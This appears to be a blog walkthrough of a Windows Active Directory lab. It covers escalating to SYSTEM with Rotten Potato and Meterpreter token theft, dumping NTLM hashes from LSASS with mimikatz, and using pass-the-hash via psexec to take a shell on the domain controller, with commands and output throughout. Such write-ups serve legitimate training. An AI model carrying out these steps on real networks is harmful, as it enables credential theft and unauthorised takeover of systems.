Road to DC focuses on compromising an Windows foothold in an Active Directory structure, then escalating and moving laterally until we've obtained access to the networks' Domain Controller.
There is no hints, and it may or may not be able to be done in multiple ways. The lab was designed to be as realistic as possible and Keep in mind I am not a professional, and if there are misinterpretations on my part, I'm doing my best to remember what I've learned over a few years of practice, some of which is vague.
When I'd written part 1, I utilized a well known exploit known as CVE-2016-032. However, on reflection, since I was able to obtain access to the MSSQL service, I could have utilized Rotten Potato. Rotten Potato, as described here uses permissions of the service accounts to performs a complication Man-in-the-middle attack to obtain a NTLM hash, which we can then use to elevate ourselves to SYSTEM context.
The binary I've utilized that is most stable in my opinion, MSFRottenPotato. I've uploaded it and utilized the wonderful Meterpreter extension incognito to steal the process token and elevate my user context.
meterpreter > upload /root/ctfs/lkyslabs/binaries/MSFRottenPotato.exe
[*] uploading : /root/ctfs/lkyslabs/binaries/MSFRottenPotato.exe -> MSFRottenPotato.exe
[*] Uploaded 340.50 KiB of 340.50 KiB (100.0%): /root/ctfs/lkyslabs/binaries/MSFRottenPotato.exe -> MSFRottenPotato.exe
[*] uploaded : /root/ctfs/lkyslabs/binaries/MSFRottenPotato.exe -> MSFRottenPotato.exe
meterpreter > execute -f 'MSFRottenPotato.exe' -a '1 cmd.exe'
Process 2320 created.
meterpreter > list_tokens -u
[-] Warning: Not currently running as SYSTEM, not all tokens will be available
Call rev2self if primary process token is SYSTEM
Delegation Tokens Available
========================================
NT Service\MSSQL$MOBILEAPPDB
Impersonation Tokens Available
========================================
No tokens available
meterpreter > list_tokens -u
[-] Warning: Not currently running as SYSTEM, not all tokens will be available
Call rev2self if primary process token is SYSTEM
Delegation Tokens Available
========================================
NT AUTHORITY\SYSTEM
NT Service\MSSQL$MOBILEAPPDB
Impersonation Tokens Available
========================================
No tokens available
meterpreter > impersonate_token 'NT AUTHORITY\SYSTEM'
[-] Warning: Not currently running as SYSTEM, not all tokens will be available
Call rev2self if primary process token is SYSTEM
[+] Delegation token available
[+] Successfully impersonated user NT AUTHORITY\SYSTEM
meterpreter >
Its a bit more reliable then the other vector, as I before I was only able to perform it once beforehand. Either way will work, as both effect the current version and context of your user. On to post exploitation!
The general idea, as the name describes, is to perform renaissance on the target machine that may permit us to move across the domain. Generally in a red team scenario, we'd maintain a sense of covert-ness (butchered), however I'll get more into that in another upcoming lab.
First in foremost, I'll try to have a look at process's, and netstat, which may inform me of any other machines within the network who may be logged in, which I can then perhaps lift a hash using mimikatz.
Process listing returns some useful entries. Ive snipped the output a bit, as most if it was junk.
meterpreter > ps
--snip--
Files\Microsoft SQL Server\90\Shared\sqlwriter.exe
2024 492 vmtoolsd.exe x64 0 NT AUTHORITY\SYSTEM C:\Program Files\VMware\VMware Tools\vmtoolsd.exe
2088 492 taskhost.exe x64 10 BS\pcook C:\Windows\system32\taskhost.exe
2360 492 sppsvc.exe x64 0 NT AUTHORITY\NETWORK SERVICE C:\Windows\system32\sppsvc.exe
2460 492 svchost.exe x64 0 NT AUTHORITY\NETWORK SERVICE C:\Windows\servicing\TrustedInstaller.exe
2636 3484 mmc.exe x64 10 BS\pcook
--snip--
He doesnt appear to be logged in remotely, maybe netstat may reveal something?
merpreter > netstat
-- snip --
tcp 10.66.1.100:59962 45.63.65.64:5553 ESTABLISHED 0 0 1688/sqlservr.exe
tcp 172.16.100.17:3389 172.16.0.10:49315 ESTABLISHED 0 0 2460/svchost.exe
tcp 172.16.100.17:60304 172.16.200.43:22 TIME_WAIT 0 0 0/[System Process]
tcp 172.16.100.17:60305 172.16.200.43:22 TIME_WAIT 0 0 0/[System Process]
tcp 172.16.100.17:60306 172.16.200.43:22 TIME_WAIT 0 0 0/[System Process]
tcp 172.16.100.17:60307 172.16.200.43:22 TIME_WAIT 0 0 0/[System Process]
tcp 172.16.100.17:60308 172.16.200.43:22 TIME_WAIT 0 0 0/[System Process]
tcp 172.16.100.17:60309 172.16.200.43:22 TIME_WAIT 0 0 0/[System Process]
tcp 172.16.100.17:60310 172.16.200.43:22 TIME_WAIT 0 0 0/[System Process]
tcp 172.16.100.17:60311 172.16.200.43:22 TIME_WAIT 0 0 0/[System Process]
tcp 172.16.100.17:60312 172.16.200.43:22 TIME_WAIT 0 0 0/[System Process]
Perfect! We see that 172.16.0.10 is connected to our machine on port 3389, the Microsoft Remote Desktop Service port. With this in mind, and with our SYSTEM context, we can utilize a tool known as mimikatz to obtain an NTLM hash, and or any cached login credentials from LSASS.exe. Great tool.
A quick 'privilege::debug' and 'sekurlsa::msv' later, and we have an NTLM hash.
Authentication Id : 0 ; 2677242 (00000000:0028d9fa)
Session : RemoteInteractive from 17
User Name : rsanchez
Domain : BS
Logon Server : DC01
Logon Time : 4/18/2018 6:17:00 PM
SID : S-1-5-21-2465045178-3688936882-4255896025-1117
msv :
[00000003] Primary
* Username : rsanchez
* Domain : BS
* NTLM : a76598aa72baadc5fa88200a58bf45df
* SHA1 : 97fef000aaaa87db884b2ac02c79974b5dea2f7d
[00010000] CredentialKeys
* NTLM : a76598aa72baadc5fa88200a58bf45df
* SHA1 : 97fef000aaaa87db884b2ac02c79974b5dea2f7d
--snip--
Authentication Id : 0 ; 79018 (00000000:000134aa)
Session : Batch from 0
User Name : pcook
Domain : BS
Logon Server : DC01
Logon Time : 4/18/2018 3:27:53 PM
SID : S-1-5-21-2465045178-3688936882-4255896025-1113
msv :
[00010000] CredentialKeys
* NTLM : 5239d9d7ada4f070e310dbf0cba28a55
* SHA1 : 874f89ecbfd7da3b6e0c51073222589c97cdf757
[00000003] Primary
* Username : pcook
* Domain : BS
* NTLM : 5239d9d7ada4f070e310dbf0cba28a55
* SHA1 : 874f89ecbfd7da3b6e0c51073222589c97cdf757
From there, we can setup a SOCKS4 listener on our box and pivot back to ourselves with a more proper shell. I'll leave the socks setup to you. its fairly straight forward in Metasploit. In my case, I'll perform a technique known as Pass-The-Hash, with utilizes NTLM authentication, making passwords in Windows redudant. GG Bill gates.
Some programs do require the LM hash. If so, just put a blank one aad3b435b51404eeaad3b435b51404ee:NTHASH, as it bypasses the need.
root@kali:~/ctfs/rootme/bluebox# proxychains psexec.py [email protected] -hashes :a76598aa72baadc5fa88200a58bf45df
ProxyChains-3.1 (http://proxychains.sf.net)
Impacket v0.9.17-dev - Copyright 2002-2018 Core Security Technologies
[*] Requesting shares on 172.16.0.10.....
[*] Found writable share ADMIN$
[*] Uploading file uRXKpDVM.exe
[*] Opening SVCManager on 172.16.0.10.....
[*] Creating service OJWq on 172.16.0.10.....
[*] Starting service OJWq.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32>cd /
wC:\>hoami
nt authority\system
C:\>
And we're done!. Essentially this is a simple guide on exploiting functionalities in windows, manually or automated, to then compromise a foothold, and pivot to the DC. All this is very simple, however in a more realistic environment, this may not be common. Most of them are far more locked down then this. I'll look more into a more practical setup provided to be my Lky soon.
any questions, hit me up in a DM at http://twitter.com/lovinghackers. Looking for graphic design? Check out 